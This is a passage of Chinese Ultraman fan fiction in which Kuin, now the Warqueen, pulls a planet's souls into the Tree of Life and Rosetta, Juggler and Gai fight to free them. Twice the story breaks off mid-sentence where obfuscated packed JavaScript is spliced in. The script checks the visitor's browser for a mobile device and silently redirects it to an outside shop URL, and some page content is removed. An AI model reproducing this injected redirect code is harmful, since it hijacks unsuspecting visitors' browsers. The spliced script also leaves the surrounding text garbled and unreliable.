“我来自伽农,那是一个四季如春,温暖和平的星球。” “听起来真好啊,那你为什么要来这里?” “因为我不能回去,我会毁灭那个乐园,所以我被驱逐了。” “他们不要你了吗?哼,不要就不要,我们可以创造一个更好的,属于我们的乐园!” “这是你的梦想吗?” “是的,你愿意帮助我吗?” 才气感觉自己的身体越来越冷,但是血液滚烫地就像铁水。也许他就要死了,这场与怪兽的荒诞对话只是他死前的幻想,但他还是在风雪之中大喊:“我要建立一个所有人都会幸福的乐园,请你帮帮我!” “真是美好的愿望啊,我希望你的心愿能够实现。” 他听见小女孩轻轻地回答,尾刺扎中他的后颈,能量涌入他的身体。库因说:“走吧,朋友,我会成为你的力量,我们一起去改变这个世界。” 少年骑上怪兽,他们解放了矿场里所有的奴隶。带着所有人离开这个冰冷的地狱,才气要做的事情有很多,他要让地上所有的生灵,重回神所许诺过的伊甸园。 “也就是说,你通过控制库因的意识,让她绕过了底层指令。然后库因又通过傀儡毒控制你,取回了自我意识。你们两个卡了一个BUG,共轭控制,反而都保留了自我。” 罗塞塔总结了一下,感叹道:“你确实可以被称为博士了,一般人想不出这种操作。” 但是这样一来事情就大条了,控制才气不能命令库因,库因完全可以听调不听宣。她拎起才气,对戴拿说:“情况紧急,我们还是要回去杀库因,走吧。” “对于他们的梦想,你有什么感想吗?”【戴拿】问,“他们不是为了统治世界或是毁灭世界作恶的,才气和库因都不是坏人。” “我知道,他们只是走错了路的孩子。我不是作为正义来审判他们的,但我仍要拒绝他们的【拯救】。”罗塞塔对恢复意识的才气说:“听好了。你的愿望十分美好,但是我还是要说,我不需要救世主施舍给我幸福。我想要的东西我会自己去拿。即使痛苦,我也要凭借自己的意志去战斗。” “就是这样,就是因为你们每一个人都是这样想的,世界才会充满了斗争!”才气愤怒地反驳,“停留在我的乐园里有什么不好吗?至少你们可以活下去,那里没有战争也没有痛苦,是永恒平静的家园。我这么做有什么不对吗?你们所谓的自由意志就是一切痛苦的根源!库因——”他绝望地呐喊,“不要管我,去实现我们的梦想!” 罗塞塔当机立断,扭断才气的脖子。帕迪尔还未发出哭声,也被【戴拿】捏成废铁。 库因往回飞的动作停住了,她不舍地看了一眼才气的方向后回头。她对虫群发出号令,黑色的虫潮如海啸扑来。托雷基亚和凯被如水般的怪兽淹没,怪兽们的目标是生命之树!它们互相以同族的身体为阶梯,搭成一座通天的黑色巨塔,虫子们祈祷着,挣扎着,去够那根地狱中落下的唯一蛛丝。 “走开……不许抢我的权限!” 中毒的战神痛苦地扼住自己的脖子,庞大的身躯轰然倒下,她在地上挣扎着。库因的情绪和精神在她脑内搅拌思维,覆写她的权能,在连接着生命之树网络的意识中,一个个亮着的节点迅速熄灭,拒绝战神的访问。黑色的虫群触碰到了参天巨木,它们覆盖在树上,用尾刺扎入树的神经。一种无形的波动从生命之树扩散开,伽农星上所有的生命都感觉到自己的灵魂正在被触碰。被傀儡毒宕机的战神目光渐渐熄灭,旗帜倾倒,战神的手指微弱地抽搐。 “我感受到了天照大人的痛苦。”在地下避难所的森罗抬头看向某个地方,好像透过数百米的土层与岩石看见他发誓要守护的君王。森罗扫视一眼身后的百姓,所有伽农星人都无意识地流下眼泪,哀悼王的陨落。森罗握紧刀剑:“我要去帮助天照大人,那是我们的王!那是我的——” 妹妹。 “我们跟你一起去,队长!”红白制服的近卫队员一个接一个跟上来,“我们也是王的近卫!现在正是我们为王献上生命的时刻!” “好!”森罗拔出刀,“近卫队,跟我走!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648365|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “女王大人——” “天照大人!” “怎么办,战神中毒了!” “生命之树的果实能够解除傀儡毒,我们快去摘果实!” 赶到战场的近卫队开始凭借身形微小的优势在巨兽群的空隙钻过。他们无心去管正在被啃食的生命之树,对于他们来说,女王是比精神图腾更重要的东西。他们的女王此时正在需要他们。队员们前仆后继,红白的身影一个接一个倒下,最后抵达生命之树前的是御言,她踩在立花的肩膀上,一跃而起,用刀切下一颗发光的果实。 “太好了,立花!我做到了!” 御言抱着果实落下,她欣喜的声音还没消失,就听见立花恐惧的尖叫:“御言——” 发生了什么? 她回头看去,数只巴力西卜从树冠向她飞来,所有的方位都被怪兽封死。而她在空中无处借力,只能下坠。 “不!不要——” 正在和巴力西卜厮杀的伽古拉目眦尽裂,他不假思索地丢出蛇心剑击落一只巴力西卜,可是包围御言的又何止一只宇宙恶魔?他就这样看着那个爱笑的,怀着玫瑰色心事的女孩被虫群撕裂,抱着发光的果实掉在地上,像枝头一颗饱满的浆果坠地,迸出鲜红的汁液。 他还是什么也没能保护。 伽古拉,你不是已经拿起剑了吗,为什么还是没能拯救生命? 他茫然地环视四周,红与白的尸体横陈遍野,近卫队已经拼尽全力,但是这不是他们能够介入的战场。凡人无论如何努力,也敌不过怪兽与巨人的随手一击。 世界真是残酷啊,强大与弱小的天槛就是这样无法逾越。 “记录……没有回到我这里。我的子民……”战神艰难地喘息着,库因正在往她体内注入更多毒素,她连维持自己的清醒都困难。战神化成金色的光粒子,慢慢消失。与之相反的是,库因正在进化。库因吞噬战神,她将获得合二为一的权能,成为唯一的——神。 “啧。闭眼。” 这个时候凯听见了罗塞塔不满的声音。下一秒,铺天盖地的白色“雨水”落下,尽数打落无边无际的黑色虫潮。每一滴雨水都是一支光箭,每一支光箭都贯穿斩杀一只巴力西卜。 安乐之声·寰宇静默。 这是罗塞塔第一次全力放出,她没想到只是过去不到三分钟,局面就迅速崩坏到这种地步。许多人死了,御言死了。分明没有人在划水,分明每个人都尽力了,命运怎么还能按照原有的轨迹发展?她感受到怒火在心中升腾,蓝色的光之巨人如一条流星落下,借助重力势能一脚把库因踢开。她握住【戴拿】的手:“你被强化了,快上。” 越权律令·300%增幅。 【戴拿】放任了罗塞塔对于自己身体的调整控制,他凝重地摆出起手式:“库因,现在你还可以回头。” “不要,我绝不要再忍受这个糟糕的世界!” 进化后的库因身形修长,头角峥嵘。她舒展着如同龙一样修长的身体,尾刺进化成覆盖鳞片的尖尾,末端张开花萼般的口器。她的脑后有一轮从战神那里夺来的光相,黑色带刺的荆棘扭曲着构成神的光环。此时应该称呼她为战争女王(Warqueen)黑红色的虫之龙悬浮在半空,发出低沉轻柔的吟啸声。一种熟悉的感觉在罗塞塔感知中以战争女王为中心扩散开,蔓延到很远很远的地方,笼罩了整个伽农星系。 “这是……” 欧布的话还没说完,他的眼灯就熄灭。托雷基亚已经张开奥特屏幕,却毫无作用。奥特曼倒下,怪兽倒下,伽农上的百姓也倒下。虫之龙身下的众生如麦浪倒伏,像是在神像面前跪拜叩首的信徒。神发下召谕后,场上站着的只有三个奥:罗塞塔、【高斯】、【戴拿】。 “他们这是被控制了?”罗塞塔环视四周,后退一步,将【高斯】和【戴拿】护至身前。【戴拿】否定了她的判断:“不是控制,战争女王收走了他们的灵魂。他们的灵魂现在都在生命之树里。” “好奇怪,为什么你们还能行动呢?”黑色的虫龙在空中摇曳身姿,好奇地围着三个奥特曼游了一圈:“啊,我明白了。原来,你们的灵魂不在这里。” “把他们的灵魂还回来。” “不要,我会温柔地对待他们,给他们创造一个美好的世界。你们也来我这里好吗,来成为我的家人吧。” “如果我们把她打爆,能解决问题吗?”罗塞塔转头问【戴拿】。【戴拿】说:“他们的记录存储在树中。” “但是她一定不会让我过去的对吧?说回来,还是要打。”罗塞塔转过头看着这尊黑色的神明,伪装的救世主,她叹了一口气说:“我是真的不想殴打小女孩,可是放着她不管,她会把整个现实拖入树中。为了我们的世界,准备战斗吧。” “……【我们的世界】吗?我喜欢这个说法。”【戴拿】的脸上露出了微笑,他和【高斯】站在一起,与罗塞塔组成队形。 他们向□□发起了挑战。 30. 魂灵汇聚之处,生命应许之地 (30) “伽古拉!” “伽古拉!醒一醒!” 好熟悉的声音,是凯。 伽古拉睁开眼睛,他看见凯半蹲在他的身边。凯的样子似乎没什么变化,但整个人像是开了美颜滤镜一样,他的皮肤细腻白嫩,头上还顶着一枚小小的白色光环。整个人容光焕发,美丽光耀,如同上帝座下的审判天使。伽古拉恍惚地睁开眼又闭上,最后双手交握,安详地倒下。 起猛了,看见凯变成天使了。 “我好像在做梦,凯,我看见你变成一个小天使,怪可爱的。”伽古拉闭着眼喃喃自语。凯抓住他的肩膀摇晃着:“伽古拉,你清醒一点,这不是你的梦啊!现在情况很奇怪,快起来和我去调查!” “那你头上的东西是什么?” “你说这个环吗?”凯的声音里没有半分惊奇,他回答道,“是御言小姐给我发的身份证明,你也可以去领一个。御言小姐说只要光环是白色的,就说明我们的精神很稳定。” 御言…… “别开玩笑了,我们果然是死掉了吧!”伽古拉睁开眼睛,他瞪着凯大喊:“御言……御言已经死了,我亲眼看见的!” “师父,我好感动,原来你这么在乎我吗?” 女孩幽幽地说。伽古拉僵硬地转过头,完好无损的御言蹲在他的另一边,她的头上也有一轮光环,只是颜色有些发灰。这个死去的女孩向他伸出手,她的手指冰冷柔软,轻轻拂过剑士的脸颊,然后向上停留在他的头顶,他从女孩墨色的眼睛里看见,一轮白色的光环在他头顶点亮。 这究竟是怎么回事?伽古拉开始回忆,他们在战场上看见库因吞噬战神进化为战争女王,战争女王发出一声奇异的叫声,众生倒伏……再之后,他就在这里醒来。伽古拉忽然反应过来,四下打量环境,周围的场景好像还是伽农星,只是地貌有些微妙的差异。天光明亮,他向远处眺望,在所处的森林以外,那棵本应该生长在王城中心的生命之树矗立在大海中。 “所以这是怎么回事?”伽古拉问。御言摆了摆手:“有疑问的话,师父去找女王大人吧。我的工作还没有完成,我还要去找托雷基亚先生发光环。别担心,我们还有很长很长的时间叙旧。”女孩站起来,她轻快地说:“一会见,师父。” 伽古拉伸出手,似要挽留。他没有抓住女孩的衣角,收回手抹了一把脸。剑士深呼吸,转头问凯:“你比我早醒来,对吗?告诉我,她……我……我们到了哪里?” “其实我只比伽古拉早醒一会,我在森林里迷路了,找不到你。我猜大家都会往醒目的地方集合,就一直往生命之树的方向走。然后御言小姐出现了,把我带到你的身边。” “她是我们的幻觉吗?还是这里的守卫?” “我不知道,不过,只要找到女王大人,一切都能得到解答了吧?”凯说,他朝一个方向比划了一下,“御言小姐告诉我女王大人在那里。” “……好吧,那我们走。” 伽古拉确认了一下蛇心剑就在腰间,他借着凯的手站起来。两个人结伴走向城市。他们路过来来往往的伽农星居民,在一片白玉石铺成的广场上看见了聚集的人群。打眼一看全是熟人,立花、森罗、来迎……一圈头顶光环的人群安静地围观,他们的头靠得很近,转头的时候小光环还会轻微地漂移,避免两个环碰在一起。伽古拉和凯挤进人群,发现大家在围观天照女王殴打才气博士。 天照穿的还是那身白色的衣裙,她没有戴冠,原本端庄的发髻也狂野地散开来。她看起来十分生气,使劲踹地上翻滚的男人。一边殴打一边骂人,时不时还给才气邦邦两拳。凯惊呆了,他第一次看见优雅端庄的天照女王像个泼妇暴怒,一国女王宛如流氓打架那样不顾颜面地厮打。怪不得大家都不敢说话,凯缩了缩脖子想,万一女王一气之下也给我两拳怎么办。 场上的战况完全是一边倒,骁勇的天照是一只发怒的母狮子。她的拳头孔武有力,她的怒骂掷地有声。这架势把伽古拉也吓住了,他觉得还是等女王冷静一点再开口比较好。 “你这个傻逼!臭傻逼!愚蠢又自私的垃圾!自始至终一事无成的废物!把你的骨灰做成肥料说不定都没人要!” “等一下,别、别打了……” “你他妈就是一个强盗,自己的理想自己不去实现,偏偏要把别人的家园拆掉当柴烧!你该不会以为自己是什么救世主吧?没有人会感激你,没有人!” “小天照,你冷静一点……” 被天照狂殴了无数下的才气鼻青脸肿,他弱气地说:“我只是想给所有人一个幸福家园,你看,现在我们不是都在天国里重逢了吗?” “白痴。”天照拎着他的衣领冷冷地说,她一记升龙拳痛击才气的下颌,才气再起不能。女王把这团垃圾丢在地上,嫌恶地擦了擦手:“如果这个乐园真那么好,我为什么还要费劲巴拉地在现实里给伽农人塑造躯体?你能不能动用你瓜子大的脑仁思考一下?” “什么意思?”才气努力抬起头问,“库因答应过我的,她会成为慈悲的主照料这里,难道她在骗我吗?” “她没有骗你,只是她做不到而已。”天照意兴阑珊地说,“没有一个知性体能够在处理这样庞大的数据之后还能保持初心。她会记得你们的约定,但是那个约定将失去意义,属于库因的人格会消失,变成物理定律一样的东西。” “但是至少,所有人都得到了永远的和平。” “是啊,没有争斗,没有变化。我们成为八音盒中机械运动的发条人偶。然而世上无物永恒不变,唯有死亡。漫长的永恒中,爱没有意义;恨没有意义;理想没有意义;直到我们停止思索,又与死亡何异。” 天照女王看起来消气了,她撩了撩头发转过身,不想理睬地上呆愣的才气。杀气未消的眼睛转向场上两个外乡人:“有事?” “呃……女王大人,原来您是这个性格吗?”凯小心翼翼地问。看见凯的脸,女王好像心情平静了不少,她淡淡地说:“如果有人把你努力上千年的成果一下子推倒,你也会像我一样生气的。烦死了,我本来都计划好下一个躯体要捏什么样的脸,这智障把我的计划全都打乱了。这下好了,哈哈,世界毁灭算了。” 发泄完怒气的天照有点自暴自弃,她看起来很想两眼一闭全世界与我无关。可是当凯问这里是伽农吗的时候,她还是提起精神好好回答了。 “伽农,伽农。”女孩把这个词语的音节在柔软的唇齿间咀嚼,在千年传颂中被时间模糊失真的名称重回原初的字义,她缓缓吐出一个相近的词语:“这里是【迦南】,是我等遥远的最初故乡。” “迦南就是曾经的伽农。” 「我要领你们进入那美地,要将你们从困苦中领出来,到那流奶与蜜之地去。那就是迦南全地,赐给你和你的后裔永远为业。」 “我们回到了……过去?” “准确地说是库因记忆里的故乡吧,也许还包含了伽农所有人的集体潜意识?我分不清,你看,那些不同年代的建筑全都乱七八糟地拼在一起,记录一多就是这个样子。嗯……这样吧,我们被库因吃了,然后上传到生命之树里面了,这样的描述你们应该能够接受了吧?” “所以这里是树里?”凯好奇地握了握拳,又摸出圆环,“我感觉我还可以变身,这里和外面好像没什么区别?” “你说力量吗?这种东西无所谓。”天照带着两人在海滩上漫步,他们慢慢朝生命之树走去,那树盛大而魁梧,树身流动琉璃色的光彩。女王说:“来到这里的都是灵魂记录,所以,在这里存在的只有心的力量。你觉得自己能变,那就能变成巨人,你觉得自己不会受伤,那就不会,你觉得自己不会痛,那就不会。我们什么都不需要,我们什么都无法得到。变身也没什么用,你不可能杀死任何一个人,因为只有管理员才有删除数据的权限。” “所以你刚才和才气斗殴是在……”伽古拉抱着剑问。 “是我在无能狂怒。怎么,我生气一下也不行吗?”天照面无表情地回答,“很快,我会连情绪都感受不到了,趁我还有能力生气,发泄一下。” “……我们所有人都进来的话,外面的世界很快就会沦陷,我们只能等着吗?” 伽古拉强行转移话题。生气的女孩好恐怖,比怪兽还要恐怖。说到这里,天照停下,若有所思地说:“没有全部,罗塞塔、【戴拿】和【高斯】估计还在现实和库因战斗。我不知道他们能够阻拦库因多久,获得完整权限的库因与生命之树相连,她是无法被杀死的。就算一次又一次击溃她,她也能无限次重组身体。说不定现在的伽农已经被库因吃空了。” “那封印呢?” “这倒是可行的,但是库因的寿命能把所有人都送走。对于库因来说,她拥有无限长的时间。” “……这真的是我们应该面对 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凯惶恐地去拉女王的手,他一边拉一边转头向伽古拉求帮助。伽古拉凝视着纯白的女王,只是沉默。伽农人又有什么错呢,他们只是想活下去,求生难道是什么十恶不赦的大错吗?等待拯救的生命居然向他们道歉,无论如何,他也无法对这样的女王生气。伽古拉放下手,慢慢地说:“……那我们也要说对不起,对不起,没能保护你的星球。” 我们作为被祈求的英雄,太过弱小,谁都没能拯救。 三人就此沉默。在白砂的海滩上,凉而痛的情感像风一样吹过。忽然一阵狂风大作,一个蓝色的巨人顶天立地!是托雷基亚!他不知为何变身成巨人,头顶的光环不稳定地波动。他朝生命之树发射了一道光线。 这一变故把正在EMO的三个人都惊醒了,凯立刻变身,朝托雷基亚大喊:“托雷前辈!你在干什么?” “在做我应该做的事情。”托雷基亚冷静地说,“罗塞塔还在外面战斗,我要回到她身边去。那棵树,就是连接外面的通道。” 外面的生命之树作用是上传,那么内部的生命之树作用是什么呢?托雷基亚对引导者御言旁敲侧击,试探出不少情报。罗塞塔不会放弃他的,他的朋友一定会想尽办法救他。他难道要什么都不做,等到罗塞塔战斗到最后吗? “如果树被破坏了,你们会怎么样?”伽古拉问天照。天照皱着眉思考了一下说:“如果你们的身体还在外面,以罗塞塔小姐的能力应该能把你们下载回去,但是身体已经死去的人,会被永远留在这里。” “前辈,你听见了吗?”欧布朝托雷基亚跑去,“不可以乱来啊。” “事到如今你还想要拯救所有人吗?”托雷基亚问,他看见欧布毫不迟疑地点点头。蓝色的巨人发出一声冷笑:“那么,你要为了这里的生命舍弃树外的生命吗?你要为了这些已死之人,放弃罗塞塔吗?如果你要拯救所有人,那就拿出你的办法说服我。或者,你要用勇气和正义拯救一切?” “我……” “你没有办法,对吧?”托雷基亚说,“还是说,你不想做出选择,欧布?让我告诉你,做出决定就是身为英雄的责任。无论多么痛苦,你都必须选择。” “前辈,难道放弃生命就是英雄所为吗?” “……所以我无法成为英雄。”托雷基亚回答,他的声音像是一声绝望的叹息,“因为我确实问心有愧。” 这句话好像让托雷基亚下定了决心。他坚决地朝生命之树发射光线,在迦南的战斗是心与心的战斗,迷茫的凯拦不住一意孤行的托雷基亚。欧布被甩开,蓝色的巨人执意要破坏海面的生命之树。然而他的光线被一个人抹去,像是孩子擦掉纸上画错的线条那样容易。那个红白的身影站在海上,朝蓝色的巨人说:“请止步。” 是御言。 线索像是珍珠一样在欧布的眼前串起来,为什么是御言在给外来者发光环,为什么她没有到天照女王的身边,为什么她说自己的工作没有完成……因为被库因杀死夺走的御言,就是库因选定的代理人。库因的心神被外界的战斗吸引,她无暇管理迦南。于是她从自己吞噬的记录中翻出了一个特殊的个体,让她代行自己的意志。御言是女王的子民,是凯和伽古拉结识的第一个伽农人,是奥特曼本该保护的弱小生命。库因选中了她,仿佛是对所有人发出恶毒的质问:你们要杀她吗?你们要杀死一个本该被你们保护的女孩么? 巫女战士站在生命之树前,她的脚尖轻轻点着水面,海面泛开红与白的涟漪。她慢慢拔出了剑,对着朝她奔来的黑衣剑士露出苦涩的笑容。 “怎么最后是你来杀我啊?师父。” 女孩摆出蛇心流的架势。 31. 天若有余情,人间无别离 (31) 罗塞塔被重重地打飞。她咳嗽着站起来,把手心的小人藏到计时器里。赛迦为她打造的躯体是一个很合适的容器,她已经往计时器里面塞了五万多人。应该是把所有离魂的躯体全部都收集好了吧?她扫视一眼战场,【戴拿】和【高斯】与战争女王打得如火如荼,三位至尊战到大道都磨灭。森林在燃烧,大地在崩裂。千万道沟壑只是双方光线对波的余波造成的,他们在星球表层激烈地战斗,罗塞塔在交战区连滚带爬地保护生命。战争女王显然没同步战神的记忆,所以她放任这个弱小的蓝色奥特曼收集那些她认为无用的躯壳。最后一次用感知扫描完整个伽农后,罗塞塔确认没有遗漏一个人。她朝【戴拿】发出心灵感应:你去把战争女王锤死,我去摸树。 【戴拿】微不可查地点头,和【高斯】一起缠住战争女王。其实这能不能成,罗塞塔心里也没底。天照说过她与自己是类似的东西,并且她也成功访问过生命之树系统。但是当场盗号战争女王需要时间和庞大的算力,切断战争女王和生命之树的联系是必须要做的事情,否则她辛辛苦苦从树里捞人,战争女王一嗓子岂不是又把人抢回去。罗塞塔隐蔽自己的身形,从战场后面绕过去。 生命之树已经不在原处。原本属于王宫的建筑被战斗摧毁,战争女王第一次被杀死的时候用尾部的口器插入大地,汲取土石和能量瞬间复生。她是一个警惕又狡猾地女孩,死守在生命之树前。再生的瞬间就勾着生命之树漂浮起来,设下金色的屏障保护这棵浮空树。他们的战斗越发激烈,足以贯穿星球。为了保护伽农星,【戴拿】和【高斯】不得不拉高战场,而战争女王也很默契地升空。在场的所有人都心知肚明,战争女王想带着生命之树逃跑。 悄悄地,从屏障能量的网眼钻进去。罗塞塔发挥打洞的天赋技能,偷偷地走到树后。高达三百米的巨树足够掩盖一个五十米奥特曼的身形。她将手贴上树干。 【……管理员权限启动。】 【……登陆成功……允许访问。】 【……■■■,已上线。】 【系统:焚■■¥$例会愿好天,祁&8就■■理。】 【系统:■■■愿否?】 什么乱七八糟的,怎么每个东西碰到她都要来一段乱码。罗塞塔的直觉提醒她此刻应该保持沉默,因为沉默是比语言更有力的拒绝。直到这段奇特的问询结束,她才开始骇入生命之树系统,攻击战争女王的管理员账号。 “什么东西!你是——你是什么!” 战争女王硬吃两发射线,转头朝罗塞塔吐出紫色的等离子火焰。耀眼的火光在眼前迸发,她看见了,她看见了…… 她看见了一双流泪的眼睛。 两柄刀剑一触即离,铁器相撞的火星像烟花散落在二人身边。御言看见伽古拉在流泪,他的双眼通红,咬着牙挥剑。痛苦的表情好像生生吃下一枚铁钉,于是那枚钉子开肠破肚,钉入他柔软的心头。“不想和我说些什么吗,师父?”她一边问,一边斩向伽古拉的脖子。伽古拉横刀一拦,颤抖着呐喊:“为什么!为什么是你啊,御言!” “我也没有办法,师父。我是真的很想和大家在一起啊,不论是你,还是立花。我想回到你们身边。可是你走到了我的面前,我就只能拦住你。”她挽了一个剑花,负身背剑,“你有什么可生气的呢,当你向我举起剑的时候,你不是已经做出决定了吗?” “这算什么?为什么要我做出这样的选择?”伽古拉怒吼着,他不是在质问御言,而是在质问这个残酷的世界。曾经恋慕过他的女孩看着这个绝望的男人,无奈地微笑着:“师父,不要哭啊。你已经做出选择,你已经成为很了不起的大英雄了。” “这样的英雄,我不想要!” 火光、鲜血、疼痛。 【戴拿】挡在她面前。 刀光、剑影、海潮。 伽古拉挡在她面前。 “为什么,你明明有阻挡托雷基亚的能力,为什么只愿意与我战斗?” “因为我从师父这里学到了蛇心流,我想和师父来一场酣畅淋漓地战斗。” “你知道我的意思,你本可以删除我,为什么要与我厮杀!” 毒火刺穿胸膛,刀剑贯穿心脏。 “……赛迦?” “……御言?” 他看向罗塞塔惊疑的眼神,捂住胸口的空洞。既然只能存在一秒种,也就没必要再掩盖了。【??】解放了自己的真名。 赛迦说:“——赛迦等离子。” 伽古拉说:“新月斩波——” 他搅碎了巫女战士的心脏,然后对着一切的源头发出一道斩击。剑士灵魂深处的魔人发出鬼神一样的咆哮,那道刀光却曼妙得像是女孩的黛眉,世间无从再有那样诗意的杀机,这份痛苦是否足以斩断命运呢? 伽古拉砍断了生命之树。 御言倒下了,她头顶的光环颜色更加灰暗。伽古拉抱住这个出色的弟子,凯曾经告诉他光环是精神的象征,那么此刻他的光环一定漆黑得足以滴墨。她睁着眼睛望向虚空,好像跟什么人汇报:“……嗯,我有在工作。我拦过了,可是打不过。哎,你要这么想我也没办法,事实就是这样的。” 于是伽古拉明白了,为什么御言选中他作为【英雄】。手握权限的代理人在树中本是无敌的存在,没有人可以打败她。但是她发自内心崇拜的人只有一个,那就是习得蛇心流的剑士。伽古拉总是不肯承认御言是他的弟子,所以御言认为自己施展的蛇心流一定会输给伽古拉。在迦南的战斗是心的战斗,少女的心只为爱恋的人破碎。 “在离开之前,和我说说话吧。” 伽古拉开口,他把头埋在女孩的肩头,那是一个拥抱。曾经的死亡太过仓促,他们没能好好告别。此时此刻,终于能够诉说离别。御言说:“我和女王大人是一样的,你和凯先生都是无辜的英雄,我们不能拖拽着你们坠入深渊。善良的英雄应该得到一个好结局。” “库因应该也有给你下命令,你是怎么绕过她的命令?” “那种事其实很简单哦。”御言狡黠地笑了,“因为爱啊,只要有爱,我们就可以说服自己违背天性,去面对最困难的命运。” 这个羞涩的少女终于可以坦然自己的心声,伽古拉明白,这一次真的是永别。他从喉咙里挤出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在生命之树彻底死去之前,罗塞塔终于捞完了灵魂。她疲惫地点亮眼灯,对托雷基亚绽放笑容:“太好了,托雷你没事真是太好了。” “战争结束了吗?”人们相互询问。托雷基亚将不善的目光转向罪魁祸首库因,而那濒死的虫龙没有理会任何人,她知道自己的大势已去。在地上艰难地扭动残躯,把头一扭,吐出一个素白的人形。 是天照女王。 “对不起,姐姐、我什么也没做好……”虫龙的声音微弱下去,她想用吻部去拱天照的身体,努力到一半就失去力气,倒在地上死去,最后的目光仍旧依恋地落在天照身上。 ──很久很久以前,迦南科技院的科学家制造了两个人造人,将她们献给生命之树,从而窃取了神树的伟力。一个获得光辉的巨人身体,负责维护生命之树,让这个文明长长久久;一个失去人类的外貌和语言成为怪兽,被流放到宇宙之外,让安全装置永不启动。好想念姐姐啊,好想回家啊,好想把姐姐从永恒的守望中解救出来。库因在漫长的流浪中看尽生离死别,要是能把整个宇宙放到生命之树中,世间就不会有离别和死亡,在树中漫长的时间中,生命一定会计算出一个幸福的答案吧? 可是她现在失败了,最后还是谁都没能获得幸福。 算了,至少姐姐活下来了,至少姐姐自由了。时隔千年,我要再和你说一声再见,就像我被流放的那个夜晚。你曾经哭着向我告别,坊间低吟浅唱贤王的美名,却无人知晓座上永恒的君主,也曾只是与妹妹一同仰望星空的孩子。 我们不会再见了。 无冠的天照睁开眼睛,从地上爬起来、她看着库因消散成尘埃,叹了一口气。 “所以我说过,库因你真的是一个傻孩子啊。” 32. 原生之初:负创伊甸 (32) 重建家园是一件比战斗更加费劲的事情,失去了生命之树的伽农星人也失去了永恒的生命。人们在生命之树消失的巨大坑洞中竖起星星点点的白色墓碑,来纪念那些逝去的英勇生命。凯在御言的墓前找到了伽古拉,天照也站在那块墓碑前。 “女王大人——” “不必称呼我为女王了,”天照说,“我已经失去了变身战神的能力,也宣布退位。既然不需要控制伽农的人口,那些前文明的科技也可以解禁了。听说来迎和森罗准备把伽农改为议会制,挺好,我终于可以下班休息了。” “那您未来有什么打算吗?” “罗塞塔小姐给伽农申请了光之国的援助,在伽农能够独立以前,会派光之战士来保护伽农。我以后估计会担任外交官,负责出使不同的星球。”天照停了停,感叹道,“我从来没想到,自己也可以有机会去宇宙旅行。” “这样啊,那伽古拉……”凯眨了眨眼睛,向同伴搭话。黑衣剑士一言不发,只是注视着御言的墓碑。那块石头上用蛇心剑刻着一行小字:凛霜其志,金铁其意。剑术未成身先死,他日黄泉再授剑。高洁的巫女战士——御言。 给灵魂记录塑造身体是战神才有的能力,在战争女王死去后,战神和库因两种力量都被生命之树系统回收,因此,已死之人的灵魂永远留在树中,血肉之躯长眠于土下。 “我正要和你说呢,伽古拉。”天照将一个新鲜雕刻好的护身符递到伽古拉面前,“这是御言摘下的果实,我把它做成护符,我觉得应该把它留给你。” 自从醒来就沉默地自闭的伽古拉对天照的话有了反应,他的目光移到那个护身符上:“……种子?你们不打算把生命之树种出来吗?” “生命之树只会回应绝望的祈祷,在这个宇宙中只会同时存在一棵。我们已经在神树的怀抱中逃避绝望太久了,现在,是时候向明天走去。这枚种子就留给你做纪念吧,也许你有一天遇到另外一棵生命之树,还能和树中的灵魂见上一面。” 伽古拉收下这枚种子。他摩挲着种子的外壳,好像下定某种决心:“……不会再有下一棵了。” “诶?” “我会拯救他们,在绝望诞生之前。我会去宇宙中巡游,在生命之树发芽之前,把那些绝望的文明救下来。” “伽古拉……”凯瞪大了眼睛。 他的同伴总是说世界上没有能够拯救一切的办法,可是现在他却发下了如此弘愿,宛如在沙滩上不停将洼鱼抛向大海的小男孩。伽古拉比谁都知道自己的努力在宇宙面前有多么徒劳,可是他仍旧要去做。因为曾经有一个女孩相信他就是世界上最大的英雄,把命都赌给了他。所以他会一直向前走,永不停止。 “伽古拉先生的理想,真是伟大啊。”天照的目光也落在御言的坟堆上,她说:“我们会祝福你的,你和凯先生永远是伽农的朋友。如果你们感到累了,伽农永远欢迎你们。” “嗯。”伽古拉握着那颗种子,仿佛汲取了无限的勇气。他问凯:“怎么了,有什么事吗?” “你打起精神真是太好了,我很担心你。”凯说,“我会帮助你的,我们一起去面对绝望!”他一握拳头:“罗塞塔前辈说飞船修好了,我们可以回战士之巅交任务。” “你们要走了吗?”天照对二人盈盈一拜,“祝君一帆风顺,武运昌荣。” “再见。” 四人乘坐银色的科考飞船回到O-50的战士之巅。凯问:“【高斯】和【戴拿】前辈不跟我们一起走吗?” 罗塞塔说:“他们已经先行离开了。” 【戴拿】被打成光粒子,不过本尊应该没什么事,毕竟神秘四奥深不可测。【高斯】临走之前盯着罗塞塔好一会,差点盯得托雷基亚暴起挠人。这位大宇宙意志的战士什么也没说,淡淡地来,淡淡地走了。搞得托雷基亚摸不着头脑。 四人再次于风雪之巅相聚。凯向圆环举起欧布圣剑,圆环闪烁着,开始发奖励。给欧布·原生形态加了一条黑裤叉,顺便发了下一个任务。到了伽古拉面前,圆环沉寂片刻,一个红色的变身器落在他的面前。 “这是什么?”伽古拉摆弄着这个形似圆环的变身器,罗塞塔凑过来看了一下,是黑暗圆环。她想,圆环之光授予伽古拉这个,是觉得现在的伽古拉足以驾驭黑暗的力量,不会再迷失了吧?她说:“这个是一个能量融合器,你可以将不同力量的素材填入其中,用于使役怪兽。” 伽古拉想了想,做出一个出乎意料的举动。他摘下脖子上的生命之树种子,放入圆环,然后把圆环对准了自己。红与白交织的光芒涌现后,站在原地的是——一个男性的巨人。 